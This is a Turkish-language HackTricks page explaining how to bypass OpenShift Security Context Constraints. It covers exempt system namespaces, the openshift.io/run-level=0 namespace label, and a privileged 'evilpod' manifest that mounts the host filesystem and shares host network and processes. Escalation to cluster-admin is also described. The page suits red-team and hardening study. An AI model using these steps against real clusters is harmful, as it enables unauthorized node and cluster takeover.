Openshift - SCC bypass
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Bu sayfanın orijinal yazarı Guillaume
Ayrıcalıklı Ad Alanları
Varsayılan olarak, SCC aşağıdaki projelere uygulanmaz:
- default
- kube-system
- kube-public
- openshift-node
- openshift-infra
- openshift
Bu ad alanlarından birinde pod’lar dağıtırsanız, SCC uygulanmayacak ve ayrıcalıklı pod’ların dağıtımına veya ana bilgisayar dosya sisteminin bağlanmasına izin verilecektir.
Ad Alanı Etiketi
RedHat belgelerine göre, pod’unuzda SCC uygulamasını devre dışı bırakmanın bir yolu vardır. Aşağıdaki izinlerden en az birine sahip olmanız gerekecektir:
- Bir Ad Alanı oluşturun ve bu Ad Alanında bir Pod oluşturun
- Bir Ad Alanını düzenleyin ve bu Ad Alanında bir Pod oluşturun
$ oc auth can-i create namespaces
yes
$ oc auth can-i patch namespaces
yes
openshift.io/run-level etiketinin belirli bir kullanımı, kullanıcıların uygulamalar için SCC’leri aşmalarını sağlar. RedHat belgelerine göre, bu etiket kullanıldığında, o ad alanındaki tüm pod’lar üzerinde hiçbir SCC uygulanmaz, bu da herhangi bir kısıtlamanın kaldırılması anlamına gelir.

Etiket Ekle
Ad alanınıza etiketi eklemek için:
$ oc label ns MYNAMESPACE openshift.io/run-level=0
Bir YAML dosyası aracılığıyla etiket ile bir ad alanı oluşturmak için:
apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0
Artık, ad alanında oluşturulan tüm yeni pod’ların herhangi bir SCC’si olmamalıdır.
$ oc get pod -o yaml | grep 'openshift.io/scc'
$
SCC’nin yokluğunda, pod tanımınız üzerinde herhangi bir kısıtlama yoktur. Bu, kötü niyetli bir pod’un ana sistemde kolayca oluşturulabileceği anlamına gelir.
apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:
Artık ana sistemin erişim haklarını artırmak ve ardından tüm kümeyi ele geçirmek, ‘cluster-admin’ ayrıcalıkları kazanmak daha kolay hale geldi. Aşağıdaki sayfadaki Node-Post Exploitation bölümüne bakın:
Attacking Kubernetes from inside a Pod
Özel etiketler
Ayrıca, hedef kurulumuna bağlı olarak, bazı özel etiketler / açıklamalar önceki saldırı senaryosunda olduğu gibi kullanılabilir. Yapılmamış olsa bile, etiketler belirli bir kaynağa izin vermek, kısıtlamak veya kısıtlamamak için kullanılabilir.
Bazı kaynakları okuyabiliyorsanız özel etiketleri aramaya çalışın. İşte ilginç kaynakların bir listesi:
- Pod
- Deployment
- Namespace
- Service
- Route
$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5
Tüm ayrıcalıklı ad alanlarını listele
$ oc get project -o yaml | grep 'run-level' -b5
Gelişmiş istismar
OpenShift’te, daha önce gösterildiği gibi, openshift.io/run-level etiketine sahip bir ad alanında bir pod dağıtma iznine sahip olmak, kümenin kolayca ele geçirilmesine yol açabilir. Küme ayarları açısından, bu işlevsellik devre dışı bırakılamaz, çünkü OpenShift’in tasarımına içkindir.
Ancak, Open Policy Agent GateKeeper gibi hafifletme önlemleri, kullanıcıların bu etiketi ayarlamasını engelleyebilir.
GateKeeper’ın kurallarını aşmak ve bu etiketi ayarlayarak bir küme ele geçirme işlemini gerçekleştirmek için, saldırganların alternatif yöntemler belirlemesi gerekecektir.
Referanslar
- https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html
- https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html
- https://github.com/open-policy-agent/gatekeeper
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

